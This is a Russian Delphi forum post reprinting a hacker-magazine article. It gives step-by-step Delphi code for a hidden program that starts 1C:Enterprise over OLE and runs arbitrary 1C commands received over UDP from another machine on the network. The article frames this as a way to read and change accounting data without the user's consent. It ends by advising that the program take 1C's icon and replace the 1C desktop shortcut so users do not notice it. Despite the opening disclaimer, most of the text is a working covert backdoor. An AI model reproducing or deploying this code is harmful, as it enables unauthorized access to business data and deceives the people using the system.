Модераторы: MetalFan
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Управление 1С с помощью Delphi, статья 
:(
    Опции темы
Darksquall
Дата 27.4.2006, 16:24 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 326
Регистрация: 22.1.2004
Где: Москва

Репутация: 1
Всего: 4



Огромное количество организаций использует систему 1С:Предприятие, но не каждый пользователь подозревает о возможном проникновении в его систему чужаков и получении данных из базы, а также частичном управлении функциями 1С удаленно. Сразу скажу что, данный механизм использования 1С:Предприятие позволит усовершенствовать некоторые функции системы и ни коим образом не является руководством к разрушению (порче) данных или к помехам действий удаленного пользователя. Статья позволит программистам приобрести дополнительные навыки в использовании системы и расширить познания.

Общий принцип механизма состоит в соединении с 1С через OLE и последующем использованием функций 1С на основе принимаемых команд от удаленного компьютера, т.к. в Delphi мы можем написать приложение невидимое для пользователя, то программа на Delphi, контролирующая 1С, будет скрыта от глаз пользователя и подвох не будет заметен, следовательно вину после приходящего на глазах у пользователя ужаса не на кого будет переложить кроме как на него самого. С помощью подобного механизма открываются возможности по управлению системы находясь за другим компьютером в сети, также появляется доступ к выгрузке данных из системы без согласия на то пользователя, т.к. попадаем мы в систему вместе с пользователем, под его учетной записью и паролем.

Вооружившись Delphi (я использовал Delphi 6.0), приступим:

Создаем обычное приложение,

File->New->Application

Создается форма, бросаем на форму Memo из вкладки Standard, 2 кнопки Button (вкладка Standard), Edit (вкладка Standard), IdUDPClient из вкладки IndyClients, IdUDPServer из вкладки IndyServers.

Настроим компоненты.

Компонента Мемо.

Кликаем на Memo, в object inspeсtor находим параметр Line - нажимаем, появляется окно - стираем надпись Memo1, выходим из String List Editor. Для наглядности выбираем значение ScrollBars Memo равное ssVertical.

Компонента Button.

В object inspeсtor меняем содержимое параметра Caption на "Отправить 1С". Во второй кнопке то же самое.

Компонента Edit.

В object inspeсtor очищаем содержимое параметра Text.

Компонента IdUDPClient - Отсылает данные.

Выберем любой порт от 1 до 65000, через который будет происходить связь, я выбрал 122 (можете выбрать любой другой). Присваиваем это значение свойству Port компоненты. Заполним свойство Host, сюда записывается IP-адрес компьютера, которому будет отправляться сообщение. BroadCastEnabled устанавливаем в true. А вместо конкретного IP-адреса рекомендую использовать широковещательный (отправляется всем), последний октет 255.Например 192.168.12.255. Свойство Active устанавливаем в True.

Компонента IdUDPServer - Получает данные.

Выбираем тот же порт что и в IdUDPClient. BroadCastEnabled устанавливаем в true. Свойство Active устанавливаем в True.

Все компоненты на форме, теперь приступим к написанию кода.

Добавляем в Uses модуль comobj

Код

Uses Windows,...,comobj;



Добавляем переменную

Код

var
Form1: TForm1;
serv1C: Olevariant;


Кликаем 2 раза на форму приложения, в появившейся процедуре

Код

FormCreate(Sender: TObject); 


пишем следующий код

Код

procedure TForm1.FormCreate(Sender: TObject);
var
h:HWND;
res:integer;
begin
if trim(paramstr(1))='server'
then
begin
Application.Showmainform:=false;// Скрываем форму нашего приложения
ShowWindow(Application.Handle, SW_HIDE);
serv1C := createoleobject('V1CEnterprise.Application');// создаем OLE обьект 1С Предприятия
res:=serv1C.initialize(serv1C.rmtrade,'','SPLASH_SHOW');// Инициализируем его с показом картинки 1С во время загрузки
if res<>0 then
begin
h:= findwindow(nil, '1С:Предприятие - Бухгалтерский учет, редакция 4.5: ООО "Рога и Копыта"');// Ищем окно 1С, здесь важно не ошибиться с именем окна, имя должно точно соответствовать конфигурации 1С
ShowWindow(h,SW_SHOW);
end
else
begin
serv1C:=UnAssigned;// Подключение не удалось
Application.Terminate;
end;
end;
end;


кликаем на компоненте IdUDPServer, выбираем вкладку Events, 2 раза кликаем по свойству OnUDPRead и заполняем процедуру следующим образом.

Код

procedure TForm1.IdUDPServer1UDPRead (Sender: TObject; AData: TStream;
ABinding: TIdSocketHandle);
var
FStream:TStringstream;
begin
FStream:=TStringStream.Create('');
FStream.CopyFrom(AData,Adata.Size);
serv1C.ExecuteBatch(Fstream.DataString);// Отсылаем команды прямо в 1С Предприятие
Fstream.Free;
end;


Добавим в программу еще одну процедуру.

Код

procedure TForm1.Otpravka(str:widestring);// любая строка передаваемая в эту процедуру, попадет на выполнение в 1С Предприятие
begin
form1.IdUDPClient1.Send(str);
end;


Добавим ее в класс TFOrm.

Код

type
TForm1 = class(TForm)
IdUDPClient1: TIdUDPClient;
IdUDPServer1: TIdUDPServer;
Button1: TButton;
Button2: TButton;
Edit1: TEdit;
Memo1: TMemo;
procedure IdUDPServer1UDPRead (Sender: TObject; AData: TStream;ABinding: TIdSocketHandle);
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Otpravka(str:widestring);// Здесь наша процедура
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;


Кликаем 2 раза на каждой из кнопок (Button) и записываем следующий код.

Код

procedure TForm1.Button1Click(Sender: TObject);
begin
Otpravka(Form1.Memo1.Lines.Text);
end;


Вторая кнопка.

Код

procedure TForm1.Button2Click(Sender: TObject);
begin
Otpravka('Сообщить("'+Form1.Edit1.Text+'");');
end;


Итак, программа готова, компилируем ее (F9) на экране появляется форма программы.

В нижнюю строчку запишем текст для передачи в окно сообщений 1С Предприятия, а верхнее поле предназначено для отправки текста программы на языке 1С.

Единственное ограничение: подобным образом (через OLE) нельзя создавать переменные 1С Предприятия, но есть выход - использовать переменные системы, которые находятся в глобальном модуле конфигурации например 

Код

Да=СоздатьОбъект("Документ.ПоступлениеТоваров");


переменная "Да" из глобального модуля.

Многообразие команд языка 1С Предприятие открывает широкий доступ к системе, в 1С есть даже подобие SQL языка, приведу несколько примеров использования команд (все остальное в справочниках 1С Предприятия):

Код

Да=СоздатьОбъект("Документ.ПоступлениеТоваров");
Да.НайтиПоНомеру("00000001","01.01.2006");
Нет=Да.ТекущийДокумент();
ОткрытьФорму(Нет);


Использованы глобальные переменные системы (Да и Нет),программа откроет документ и выведет его на экран без согласия пользователя, или например 

Код

ОткрытьФорму("Справочник.Номенклатура");


откроет справочник номенклатура.

Код

Сообщить("Hello world!");
 

отправит в 1С Предприятие сообщение.

Все, что останется сделать, так это подменить значок в нашей программе на значок 1С,положить ярлык вместо ярлыка 1С на рабочий стол и хорошенько подумать, а стоит ли вообще усложнять жизнь юзерам и в особенности бухгалтерам :-).

Подобный механизм открывает большие возможности для экспериментов над 1С Предприятием, а так же над ее пользователями, которые будут удивлены тем, что 1С начнет жить собственной жизнью, общаться с пользователем, создавать или уничтожать элементы системы, возможна даже реализация чата на основе 1С Предприятия.

Желаю успехов в освоении и использовании.

Статью с примером проги качаем с 
http://www.xakep.ru/post/29747/default.asp

Alimoff Roman 
([email protected]) 


--------------------
PM WWW ICQ   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: ActiveX/СОМ/CORBA"

Rrader
Girder

Запрещено:

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами


  • Литературу по Delphi обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Delphi
  • Вопросы по SQL и вопросы по базам данных, не связанные с Delphi, задавать здесь

Если Вам помогли, и атмосфера форума Вам понравилась, то заходите к нам чаще! С уважением, Rrader, Girder.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: ActiveX/СОМ/CORBA | Следующая тема »


 




[ Время генерации скрипта: 0.0406 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.